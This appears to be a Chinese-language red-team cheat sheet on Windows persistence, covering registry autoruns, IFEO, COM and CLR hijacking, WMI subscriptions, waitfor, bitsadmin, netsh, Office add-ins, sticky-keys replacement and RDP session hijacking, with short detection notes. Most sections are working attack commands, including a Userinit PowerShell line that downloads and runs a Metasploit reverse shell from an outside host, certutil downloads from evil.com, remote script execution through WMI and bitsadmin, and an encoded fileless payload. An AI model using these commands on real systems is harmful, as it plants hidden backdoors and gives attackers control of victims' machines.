权限维持方法小结
小结下权限维持方法
WinlogonHack 是一款用来劫取远程3389登录密码的工具,在 WinlogonHack 之前有一个 Gina 木马主要用来截取 Windows 2000下的密码,WinlogonHack 主要用于截取 Windows XP 以及 Windows 2003 Server
可参考使用winlogonhack获取系统密码
安装键盘记录器可以记录管理员一切的密码,比如说邮箱,WEB 网页密码等等
获取管理员口令,一般用 gina 方式来,但有些机器上安装了 pcanywhere 等软件,会导致远程登录的时候出现故障,本软件可实现无障碍截取口令
很老很老的一个工具,基本已经没法用了,权做了解
存储:
$StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
$StaticClass.Name = 'Win32_Command'
$StaticClass.Put()
$StaticClass.Properties.Add('Command' , $Payload)
$StaticClass.Put() 读取:
$Payload=([WmiClass] 'Win32_Command').Properties['Command'].Value利用文件hash的算法缺陷,向PE文件中隐藏Payload,同时不影响该PE文件的数字签名
可参考Hidden Alternative Data Streams的进阶利用技巧
type putty.exe > ...:putty.exe
wmic process call create c:\test\ads\...:putty.exe
特殊COM文件
type putty.exe > \\.\C:\test\ads\COM1:putty.exe
wmic process call create \\.\C:\test\ads\COM1:putty.exe
磁盘根目录
type putty.exe >C:\:putty.exe
wmic process call create C:\:putty.exe注册表可以理解为一个树状结构的数据库,它具有一些特殊的数据类型用来存储一些数据满足应用程序的需要

Run键值代表着开机启动项,也就是说在这个项下的键值会随着开机启动(这里的开机是指用户登录,也就是说只要有登录操作就会执行)
RunOnce键值类似于 Run 键值,唯一的区别在于,RunOnce 键值只执行一次,操作执行后会被自动删除
用户级
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\RunOnce管理员
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunOnce
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Policies\Explorer\Run检测及查杀
可以通过它来实现启动Natvice程序,Native程序在驱动程序和系统核心加载后将被加载,此时会话管理器(smss.exe)进行windowsNT用户模式并开始按顺序启动native程序。由于smss.exe在Windows子系统加载之前启动,因此会调用配置子系统来加载当前的配置单元,具体注册表键值为:
HKLM\SYSTEM\CurrentControlSet\Control\hivelist
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session Manager上述注册表下有一个名为BootExecute的多字符串值键,它的默认值是autocheck autochk *,用于系统启动时的某些自动检查。这个启动项目里的程序是在系统图形界面完成前就被执行的,所以具有很高的优先级
检测及查杀:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\hivelist
HKEY_LOCAL_MACHINE\SYSTEM\ControlSet002\Control\Session ManagerUserinit注册表键的作用是在用户进行登陆时,WinLogon进程加载的指定的login scripts,可以更改它的值来添加与删除程序。具体键值:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon一般情况下,其默认值为userinit.exe,由于该子键的值中可使用逗号分隔开多个程序,因此,在键值的数值中可加入其它程序。
结合上面powershell中的msf方法,可以达到无文件后门效果:
Powershell实现:
Set-ItemProperty "HKLM:\SOFTWARE\Microsoft\WINDOWS NT\CurrentVersion\Winlogon" -name Userinit -value "C:\Windows\system32\userinit.exe,powershell.exe -nop -w hidden -c $w=new-object net.webclient;$w.proxy=[Net.WebRequest]::GetSystemWebProxy();$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $w.downloadstring('http://192.168.2.11:8080/kaMhC1');"
# powershell反弹shell的payload参照上面msf中的web_delivery模块检测及查杀
查看HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon\UserinitLogon Scripts能够优先于杀毒软件执行,绕过杀毒软件对敏感操作的拦截
参考:Logon Scripts
具体键值:
HKEY_CURRENT_USER\Environment\创建字符串键值: UserInitMprLogonScript
键值设置为bat的绝对路径:c:\1.bat
检测及查杀
查看HKEY_CURRENT_USER\Environment\UserInitMprLogonScript开始菜单启动项,指示启动文件夹的位置,User Shell Folders优先于Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\User Shell Folders检测及查杀
检查相关注册表键值
Process Explorer本质上是Internet Explorer启动时加载的DLL模块
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects检测及查杀
检查注册表:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\Browser Helper Objects
Process Explorer注册表中默认存在两个注册表项:AppInit_DLLs和LoadAppInit_DLLs(win2003没有,但是可以新建),Use***.dll被加载到进程时,会读取AppInit_DLLs注册表项,如果有值,调用LoadLibrary() api加载用户dll。PS:xp系统会忽略LoadAppInit_DLLs注册表项
严格来讲,此dll注入不是注入到所有运行进程,而是注入到加载Use***.dll的进程中
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs检测及查杀
检查注册表:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Windows\AppInit_DLLs
查看异常dll文件
通过Process Explorer查看进程加载dll文件关联就是指系统把指定扩展名的文件自动关联到相应的应用程序,例如 .doc 默认打开方式是 Microsoft Word,当用户双击.doc文件时就会启动 Word 打开该文件。
Windows的资源管理器识别文件类型是由扩展名决定的(而并不是文件头决定文件类型)。首先扩展名会对应一种文件类型,这种文件类型的不同操作再对应到不同的具体命令。
比如:
.txt --> txtfile --> { "open": "notepad.exe %1", "edit": "notepad.exe %1", ... }
文件扩展名与文件类型的对应关系,可以通过assoc命令查看或修改
cmd> assoc .txt
.txt=txtfile
cmd> ftype txtfile
txtfile=%SystemRoot%\system32\NOTEPAD.EXE %1相关的注册表:
HKEY_CURRENT_USER\Software\Classe //保存了当前用户的文件关联设置
HKEY_LOCAL_MACHINE\Software\Classe //保存了本机上所有用户的设置
HKEY_CLASS_ROOT //上面两个位置下的键值合并,是为了访问方便而建立的视图
HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\FileExts\
//保存了右键选择"打开方式"改变默认的关联程序
# 用户双击文件时查找顺序:
# 首先检查...\\FileExts\\,找不到时查找HKCU,最后才是HKLM。因此检查一个文件是否与某个程序关联可以按照这个顺序检查。检测及查杀
检查注册表:HKEY_LOCAL_MACHINE\Software\Classe 、HKEY_CLASS_ROOT
通过Process Explorer查看进程加载文件映像劫持(Image File Execution Options)其实是Windows内设的用来调试程序的功能,但是现在却往往被病毒恶意利用。当用户双击对应的程序后,操作系统就会给外壳程序(例如"explorer.exe")发布相应的指令,其中包含有执行程序的路径和文件名,然后由外壳程序来执行该程序。事实上在该过程中,Windows还会在注册表的上述路径中查询所有的映像劫持子键,如果存在和该程序名称完全相同的子键,就查询对应子健中包含的"dubugger"键值名,并用其指定的程序路径来代替原始的程序,之后执行的是遭到"劫持"的虚假程序。
简单点说就是:当你打开的是程序A,而运行的却是程序B。
注册表位置:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options比如:
# 命令行添加:
# reg add "HKLM\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v debugger /t REG_SZ /d "c:\windows\system32\calc.exe"但是这样设置直接是可以看到的,根据文章隐蔽后门——Image File Execution Options新玩法了解到可以修改GlobalFlag的值,达到程序A静默退出结束后,会执行程序B的效果,且在注册表看不到具体值,同时Autorun检测不到。
首先下载GFlages.exe的安装器dbg的安装包:
http://download.microsoft.com/download/A/6/A/A6AC035D-DA3F-4F0C-ADA4-37C8E5D34E3D/setup/WinSDKDebuggingTools_amd64/dbg_amd64.msi
1、点击关卡:Silent Process Exit
2、image处填写需要劫持的软件,比如:notepad.exe
3、Reporting Mode处勾选Enable Silent Process Exit Monitoring和Launch monitor process
4、Monitor Process处填写需要执行的软件,比如:c:\windows\system32\calc.exe
5、应用->确定
然后打开notepad.exe退出后即可看到calc.exe,同时notepad.exe对应的注册表中GlobalFlag无任何值
# 命令行:
# reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v GlobalFlag /t REG_DWORD /d 512
# reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\notepad.exe" /v ReportingMode /t REG_DWORD /d 1
# reg add "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit\notepad.exe" /v MonitorProcess /t REG_SZ /d "c:\windows\system32\calc.exe"检测及查杀
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options以及HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\SilentProcessExit项值是否存在关联(上述例子即可在SilentProcessExit中看到c:\windows\system32\calc.exe)COM(组件对象模型)是微软公司为了计算机工业的软件生产更加符合人类的行为方式开发的一种新的软件开发技术。为开发人员提供一个允许开发人员控制和操纵其他应用程序的对象的接口,每个COM对象都由一个名为CLSID的唯一ID定义,大多数COM类都在操作系统中注册,并由表示注册表中的类标识符(CLSID)的GUID标识,也就是说CLSID就是对象的***号,而当一个应用程序想要调用某个对象时,也是通过CLSID来寻找对象的。
比如:
按下Ctrl+R打开运行窗口,输入:
::{20D04FE0-3AEA-1069-A2D8-08002B30309D} -> 我的电脑
::{645FF040-5081-101B-9F08-00AA002F954E} -> 回收站使用ProcessMonitor可以看到应用程序的寻找过程:
1、HKEY_CURRENT_USER\Software\Classes\CLSID
2、HKEY_CLASSES_ROOT\CLSID
3、HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\ShellCompatibility\Objects\
当进程寻找COM组件时,首先会寻找:HKCU\Software\Classes\CLSID,所以直接在CLSID下新建一个对象ID,就能够劫持某个进程或多个进程。
与DLL劫持原理相近,但是COM组件的劫持目标不一定是一个进程,也可以是一个Windows API,劫持所需的文件不一定是一个DLL,它可以是一个.com文件、二进制PE文件、DLL文件。
MSF中自带了利用COM劫持的模块:exploit/windows/local/bypassuac_comhijack,该模块同时直接可以绕过UAC,具体原理参考:COM Hijacking
CLR全称Common Language Runtime(公共语言运行库),是一个可由多种编程语言使用的运行环境。无需管理员权限的后门,并能够劫持所有.Net程序。
cmd> SET COR_ENABLE_PROFILING=1
cmd> SET COR_PROFILER={11111111-1111-1111-1111-111111111111}
# {11111111-1111-1111-1111-111111111111}表示CLSID可设置为任意数值,只要和系统常用CLSID不冲突就行
cmd> certutil.exe -urlcache -split -f http://evil.com/msg.dll
# 下载dll
cmd> certutil.exe -urlcache -split -f http://evil.com/msg.dll delete
# 清除下载文件的缓存
cmd> SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServe***
# 新建子项{11111111-1111-1111-1111-111111111111}\InProcServe***
cmd> REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
# 新建REG_SZ类型键值ThreadingModel:Apartment
cmd> REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
# 修改默认路径值为msg.dll的路径
cmd> 当前cmd下启动.net程序,比如:powershell,即可执行dllDLL编写参考:https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/
要使CLR能够劫持系统中全部.net程序,需要设置环境变量,可以图形化界面操作,也可以使用WMI(通过WMI修改环境变量需要系统重启或注销重新登录才能生效)。
x86系统
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServe***
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /Fx64系统
wmic ENVIRONMENT create name="COR_ENABLE_PROFILING",username="%username%",VariableValue="1"
wmic ENVIRONMENT create name="COR_PROFILER",username="%username%",VariableValue="{11111111-1111-1111-1111-111111111111}"
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg.dll delete
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll
certutil.exe -urlcache -split -f https://raw.githubusercontent.com/3gstudent/test/master/msg_x64.dll delete
SET KEY=HKEY_CURRENT_USER\Software\Classes\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServe***
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg_x64.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /F
SET KEY=HKEY_CURRENT_USER\Software\Classes\WoW6432Node\CLSID\{11111111-1111-1111-1111-111111111111}\InProcServe***
REG.EXE ADD %KEY% /VE /T REG_SZ /D "%CD%\msg.dll" /F
REG.EXE ADD %KEY% /V ThreadingModel /T REG_SZ /D Apartment /FPOC: https://github.com/3gstudent/CLR-Injection
检测及查杀
通过CLR劫持所有.Net程序的方法,无需管理员权限,可用作后门。但是通过WMI添加环境变量需要重启系统。CAccPropServicesClass和MMDeviceEnumerato后门原理与之类似,但是不需要重启系统,同样也不需要管理员权限,同时可以绕过Autoruns对启动项的检测。
x86系统
1、新建文件
在%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-**579291692E}\路径下加入后门dll文件;
命名规则为:api-ms-win-downlevel-[4char-random]-l1-1-0._dl2、修改注册表
注册表位置:HKEY_CURRENT_USER\Software\Classes\CLSID\创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}创建子项InprocServe***
Default的键值为32位dll的绝对路径:
C:\Users\Administrator\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-**579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl
创建键值:ThreadingModel | REG_SZ | Apartment3、当打开ie或者其他程序时,就会执行加载的dllx64系统
1、新建文件
在%APPDATA%\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-**579291692E}\路径下加入后门dll文件;
命名规则为:api-ms-win-downlevel-[4char-random]-l1-1-0._dl
2、修改注册表1
注册表位置:HKEY_CURRENT_USER\Software\Classes\CLSID\
创建项{b5f8350b-0548-48b1-a6ee-88bd00b4a5e7}
创建子项InprocServe***
Default的键值为64位dll路径:
C:\Users\Administrator\AppData\Roaming\Microsoft\Installer\{BCDE0395-E52F-467C-8E3D-**579291692E}\api-ms-win-downlevel-1x64-l1-1-0._dl
创建键值:ThreadingModel | REG_SZ | Apartment
3、修改注册表2
注册表位置:HKEY_CURRENT_USER\Software\Classes\Wow6432Node\CLSID\
创建项{BCDE0395-E52F-467C-8E3D-**579291692E}
创建子项InprocServe***
Default的键值为32位dll路径:
C:\Users\Administrator\AppData\Roaming\Microsoft\Installer{BCDE0395-E52F-467C-8E3D-**579291692E}\api-ms-win-downlevel-1x86-l1-1-0._dl
创建键值:ThreadingModel | REG_SZ | Apartment
4、当打开ie或者其他程序时,就会执行加载的dllPOC:https://github.com/3gstudent/COM-Object-hijacking
检测及查杀
不同于上面两种COM劫持后门,前两种是被动触发的后门,MruPidlList是主动触发的后门
注册表位置:HKEY_CURRENT_USER\Software\Classes\CLSID\
创建项{42aedc87-2188-41fd-b9a3-0c966feabec1}
创建子项InprocServe***
Default的键值为dll的绝对路径:C:\test\calc.dll
创建键值:ThreadingModel | REG_SZ | Apartment因为注册表对应COM对象MruPidlList,作用于shell32.dll,shell32.dll用于打开网页和文件,所以当系统启动时必定会执行,于是后门也就会主动启动,相当于一个主动后门。
直观的理解:系统在启动时默认启动进程explorer.exe,explorer.exe会调用shell32.dll,加载COM对象MruPidlList
此类型的后门多次被恶意软件使用:comRAT,ZeroAccess rootkit,bbsrat
检测和查杀
劫持计划任务UserTask,在系统启动时加载dll
可参考:Userland registry hijacking
function Invoke-ScheduledTaskComHandlerUserTask
{
[CmdletBinding(SupportsShouldProcess = $True, ConfirmImpact = 'Medium')]
Param (
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[String]
$Command,
[Switch]
$Force
)
$ScheduledTaskCommandPath = "HKCU:\Software\Classes\CLSID\{58fb76b9-ac85-4e55-ac04-427593b1d060}\InprocServer32"
if ($Force -or ((Get-ItemProperty -Path $ScheduledTaskCommandPath -Name '(default)' -ErrorAction SilentlyContinue) -eq $null)){
New-Item $ScheduledTaskCommandPath -Force |
New-ItemProperty -Name '(Default)' -Value $Command -PropertyType string -Force | Out-Null
}else{
Write-Verbose "Key already exists, consider using -Force"
exit
}
if (Test-Path $ScheduledTaskCommandPath) {
Write-Verbose "Created registry entries to hijack the UserTask"
}else{
Write-Warning "Failed to create registry key, exiting"
exit
}
}
Invoke-ScheduledTaskComHandlerUserTask -Command "C:\test\testmsg.dll" -VerboseRattler:https://github.com/sensepost/rattler 参考:DLL劫持漏洞自动化识别工具Rattler测试 一个DLL分析工具:https://github.com/Yonsm/AheadLib
针对.Net程序,通过修改AppDomainManager能够劫持.Net程序的启动过程。如果劫持了系统常见.Net程序如powershell.exe的启动过程,向其添加payload,就能实现一种被动的后门触发机制
参考:Use AppDomainManager to maintain persistence
WMI(Windows Management Instrumentation)即 Windows 管理规范,由一组强大的工具集合组成,用于管理本地或远程的 Windows 系统。
WMI相关知识参考:
特性
存储payload
# 管理员权限
powershell> $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,
$null)
powershell> $StaticClass.Name = 'Win32_EvilClass'
powershell> $StaticClass.Put()
powershell> $StaticClass.Properties.Add('EvilProperty' , "This is payload")
powershell> $StaticClass.Put()隐蔽定时启动程序
# 管理员权限
# 功能:每60s执行一次notepad.exe
powershell> $filterName = 'BotFilter82'
powershell> $consumerName = 'BotConsumer23'
# 创建一个__EventFilter,用于设定触发条件,每隔60s执行一次
powershell> $exePath = 'C:\Windows\System32\notepad.exe'
powershell> $Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE
TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
powershell> $WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name= $filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
# 创建一个CommandLineEventConsumer,用于设定执行的操作
powershell> $WMIEventConsumer = Set-WmiInstance -Class CommandLineEventConsumer -Namespace "root\subscription" -Arguments @{ Name=$consumerName;ExecutablePath=$exePath;CommandLineTemplate=$exePath}
# 用于绑定filter和consumer
powershell> Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}Example:
通常是通过powershell进行调用,配合schtasks进行定时启动,绕过杀软,也可以执行JavaScript脚本。
#!powershell
$filterName = 'filtP1'
$consumerName = 'consP1'
$Command ="GetObject(""script:https://raw.githubusercontent.com/3gstudent/Javascript-Backdoor/master/test"")"
$Query = "SELECT * FROM __InstanceModificationEvent WITHIN 60 WHERE TargetInstance ISA 'Win32_PerfFormattedData_PerfOS_System'"
$WMIEventFilter = Set-WmiInstance -Class __EventFilter -NameSpace "root\subscription" -Arguments @{Name=$filterName;EventNameSpace="root\cimv2";QueryLanguage="WQL";Query=$Query} -ErrorAction Stop
$WMIEventConsumer = Set-WmiInstance -Class ActiveScriptEventConsumer -Namespace "root\subscription" -Arguments @{Name=$consumerName;ScriptingEngine='JScript';ScriptText=$Command}
Set-WmiInstance -Class __FilterToConsumerBinding -Namespace "root\subscription" -Arguments @{Filter=$WMIEventFilter;Consumer=$WMIEventConsumer}通过远程下载js脚本,进行命令调用。
检测及查杀
检测:
1、查看当前WMI Event(管理员权限)
#List Event Filters
Get-WMIObject -Namespace root\Subscription -Class __EventFilter
#List Event Consumers
Get-WMIObject -Namespace root\Subscription -Class __EventConsumer
#List Event Bindings
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding
2、查看日志
Microsoft-Windows-WinRM/Operational
Microsoft-Windows-WMI-Activity/Operational
Microsoft-Windows-DistributedCOM
3、Autoruns
Sysinternals Autoruns只能检测到ActiveScriptEventConsumer和CommandLineEventConsumer的操作,可以理解为上述对进程和注册表监视的操作无法识别
查杀:
1、清除后门(管理员权限)
#Filter
Get-WMIObject -Namespace root\Subscription -Class __EventFilter -Filter "Name='BotFilter82'" | Remove-WmiObject -Verbose
#Consumer
Get-WMIObject -Namespace root\Subscription -Class CommandLineEventConsumer -Filter "Name='BotConsumer23'" | Remove-WmiObject -Verbose
#Binding
Get-WMIObject -Namespace root\Subscription -Class __FilterToConsumerBinding -Filter "__Path LIKE '%BotFilter82%'" | Remove-WmiObject -Verbose
2、甚至禁用Winmgmt服务从根本上阻止该方法的使用
其他方法参考:
http://drops.xmd5.com/static/drops/tips-8290.htmlWaitfor是用来接收或发送来自同一域内主机的信号。位于System32文件夹下,以命令行方式启动。
参考:Use Waitfor.exe to maintain persistence
思路1:有文件
1、在目标系统保存一个powershell脚本c:\waitfor1.ps1,内容为:
start-process calc.exe
cmd /c waitfor persist `&`& powershell -executionpolicy bypass -file c:\waitfor1.ps1
2、等待接受信号
waitfor persist1 && powershell -executionpolicy bypass -file c:\waitfor1.ps1
3、发送信号
waitfor /s 127.0.0.1 /si persist1
#测试时不可持续利用思路2:无文件
PowerShell> $StaticClass = New-Object Management.ManagementClass('root\cimv2', $null,$null)
PowerShell> $StaticClass.Name = 'Win32_Backdoor'
PowerShell> $StaticClass.Put()| Out-Null
PowerShell> $StaticClass.Properties.Add('Code' , "cmd /c start calc.exe ```&```& taskkill /f /im powershell.exe ```&```& waitfor persist ```&```& powershell -nop -W Hidden -E JABlAHgAZQBjAD0AKABbAFcAbQBpAEMAbABhAHMAcwBdACAAJwBXAGkAbgAzADIAXwBCAGEAYwBrAGQAbwBvAHIAJwApA**AUAByAG8AcABlAHIAdABpAGUAcwBbACcAQwBvAGQAZQAnAF0ALgBWAGEAbAB1AGUAOwAgAGkAZQB4ACAAJABlAHgAZQBjAA==")
PowerShell> $StaticClass.Put() | Out-Null
# 使用base64编码存储payload
PowerShell> $exec=([WmiClass] 'Win32_Backdoor').Properties['Code'].Value;
# 读取payload
PowerShell> iex $exec | Out-Null
# 执行payload
# 也可将上述命令存储为文件,然后执行该文件
# https://github.com/3gstudent/Waitfor-Persistence/blob/master/Waitfor-Persistence.ps1
# cmd> powershell -executionpolicy bypass .\Waitfor-Persistence.ps1
激活后门:
cmd> waitfor /s 127.0.0.1 /si persist
#测试时可持续利用POC:https://github.com/3gstudent/Waitfor-Persistence
检测及查杀
bitsadmin.exe是windows自带的可用于创建下载或上载作业并监视其进度,bistadmin可以指定下载成功之后要进行什么命令。可绕过autorun、常见杀软检测。
bitsadmin /create backdoor
# 创建任务
bitsadmin /addfile backdoor %comspec% %temp%\cmd.exe
# 下载本地文件
bitsadmin.exe /SetNotifyCmdLine backdoor regsv***.exe "/u /s /i:https://raw.githubusercontent.com/3gstudent/SCTPersistence/master/calc.sct scrobj.dll"
# 增加cmd参数,利用regsv***技巧,解决命令执行弹框问题
bitsadmin /Resume backdoor
# 执行任务检测及查杀
列出所有任务
bitsadmin /list /allusers /verbose
删除某个任务
bitsadmin /cancel <Job>
删除所有任务
bitsadmin /reset /allusers
获取任务创建时间
bitsadmin /GetCreationTime <Job>MSDTC,是微软分布式传输协调程序,Windows系统默认启动该服务。当计算机加入域中,MSDTC服务启动时,会搜索注册表HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\MSDTC\MTxOCI
分别加载3个DLL:oci.dll,SQLLib80.dll,xa80.dll
然而Windows系统默认并不包含oci.dll所以可以将payload.dll重名为oci.dll并保存在%windir%\system32\下
域中的计算机启动服务MSDTC时就会加载该dll,实现代码执行。
利用MSDTC服务加载dll,实现自启动,并绕过Autoruns对启动项的检测。
参考:Use msdtc to maintain persistence
检测及查杀
taskkill /f /im msdtc.exenetsh是windows系统本身提供的功能强大的网络配置命令行工具
可参考:Netsh persistence
netsh add helper c:\test\netshtest.dllhelper dll添加成功后,每次调用netsh,均会加载c:\test\netshtest.dll
dll编写:https://github.com/outflanknl/NetshHelperBeacon
检测及查杀
检查:
检查注册表位置:HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh
通过Process Explorer查看netsh进程加载的dll
通过Process Monitor查看进程属性Event Properties
清除:
netsh delete helper c:\test\netshtest.dll
在HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh删除对应键值该方式主要是对微软系统自带的Application Verifier(应用程序检验器)进行利用
参考:渗透测试中的Application Verifier(DoubleAgent利用介绍)
利用过程如下:
命令行添加:
appverif /verify notepad.exe
命令行删除:
appverif /n notepad.exePOC : https://github.com/Cybellum/DoubleAgent
检测及查杀
监控注册表键值HKLM:\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File
查看c:\windows\system32\下有无可疑dll利用劫持系统的DLL,执行相关命令,同时可绕过Autoruns的后门检测。主要有两种方法:
劫持Office软件的特定功能
通过DLL劫持,在Office软件执行特定功能时触发后门
劫持Word-审阅-视图【管理员权限】:位于C:\Program Files\Common Files\microsoft shared\RRLoc14\LOCALSVC.DLL
劫持word-插入-图片【TrustedInstaller权限】:位于C:\Program Files\Common Files\microsoft shared\ink\tiptsf.dll
劫持word-文件-页面布局-主题-浏览主题【管理员权限】:位于C:\Program Files\Microsoft Office\Office14\2052\GrooveIntlResource.dll
劫持Excel-插入-图片【管理员权限】:位于C:\Program Files\Common Files\microsoft shared\OFFICE14\MSPTLS.DLL利用Office加载项
以word为例:
# 编译成calc.dll,重命名为calc.wll,保存在路径:C:\Users\Administrator\AppData\Roaming\Microsoft\Word\Startup(Startup路径可保存多个wll,支持启动多个wll),启动Word.exe,弹出计算器,并且word正常启动
powershell下wll路径
$env:APPDATA+"\Microsoft\Word\Startup\calc.wll"
将编译好的calc.dll作base64加密并存储于变量中
PowerShell> $fileContent = [System.IO.File]::ReadAllBytes('calc.dll')
PowerShell> $fileContentEncoded = [System.Convert]::ToBase64String($fileContent)| set-content ("calcdllbase64.txt")
用变量$fileContent存储base64加密的calc.dll
PowerShell> $fileContent = "$fileContentEncoded_payload"
base64解密并释放calc.wll至Startup路径的代码如下:
PowerShell> $fileContentBytes = [System.Convert]::FromBase64String($fileContent)
[System.IO.File]::WriteAllBytes($env:APPDATA+"\Microsoft\Word\Startup\calc.wll",$fileContentBytes)具体参考:https://3gstudent.github.io/3gstudent.github.io/Use-Office-to-maintain-persistence/ 其他POC:https://github.com/3gstudent/Office-Persistence
检测及查杀
禁用所有加载项
禁用所有控件
禁用所有宏
删除信任位置:
C:\Users\a\AppData\Roaming\Microsoft\Word\Startup\通过远程桌面连接到Windows后,在没有输入用户名和密码前,连接按5次Shift键,可以调用c:\windows\system32\sethc.exe,所以需要把c:\windows\system32\sethc.exe替换成其他的执行程序即可执行该程序。
copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe /y
copy c:\windows\system32\sethc.exe c:\windows\system32\dllcache\sethc.exe /y
attrib c:\windows\system32\sethc.exe +h
attrib c:\windows\system32\dllcache\sethc.exe +h
# attrib +h是添加隐藏属性在windows xp过后,sethc组件属于完全受信用的用户TrustInstall,我们无法修改名字,这时候即使administrators都只有名义上的只读和可执行权,我们可以手动修改其所属为administrators。
也可以使用命令,比如:使用MSSQL的xp_cmdshell
exec xp_cmdshell 'takeown /f c:\windows\system32\sethc.* /a /r /d y'
# 将所有者更改为管理员组(administrators)
exec xp_cmdshell 'cacls c:\windows\system32\sethc.exe /T /E /G system:F'
# 赋予system完全控制权限
exec xp_cmdshell 'copy c:\windows\system32\cmd.exe c:\windows\system32\sethc.exe /y'
# 替换文件为cmd.exe检测及查杀
RDP劫持简单的说就是在不知道另一账户密码的情况下直接切换到该用户会话下。
query user # 查看服务器用户会话信息
sc create sesshijack # 创建一个sesshijack服务
net start sesshijack # 开启服务
query user
sc create sesshijack binpath= "cmd.exe /k tscon 1 /dest:rdp-tcp#4"
# rdp-tcp#4为正在活动中的其他会话
net start sesshijack无凭据时的会话劫持技巧是Benjamin Delpy(Mimikatz作者)在2011年提到的,所以Mimikatz模块也集成了此项功能
mimikatz.exe
mimikatz # ts::sessions
mimikatz # ts::remote /id:4 (4表示会话ID)
mimikatz # privilege::debug
mimikatz # ts::remote /id:4检测及查杀
参考:渗透测试中的Application Compatibility Shims
msf> use exploit/multi/script/web_delivery
set payload windows/meterpreter/reverse_tcp
set LHOST 192.168.2.11
set target 2
run
PAYLOAD:
powershell.exe -nop -w hidden -c $w=new-object net.webclient;$w.proxy=[Net.WebRequest]::GetSystemWebProxy();$w.Proxy.Credentials=[Net.CredentialCache]::DefaultCredentials;IEX $w.downloadstring('http://192.168.2.11:8080/kaMhC1');pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
{
EventNamespace = "Root\\Cimv2";
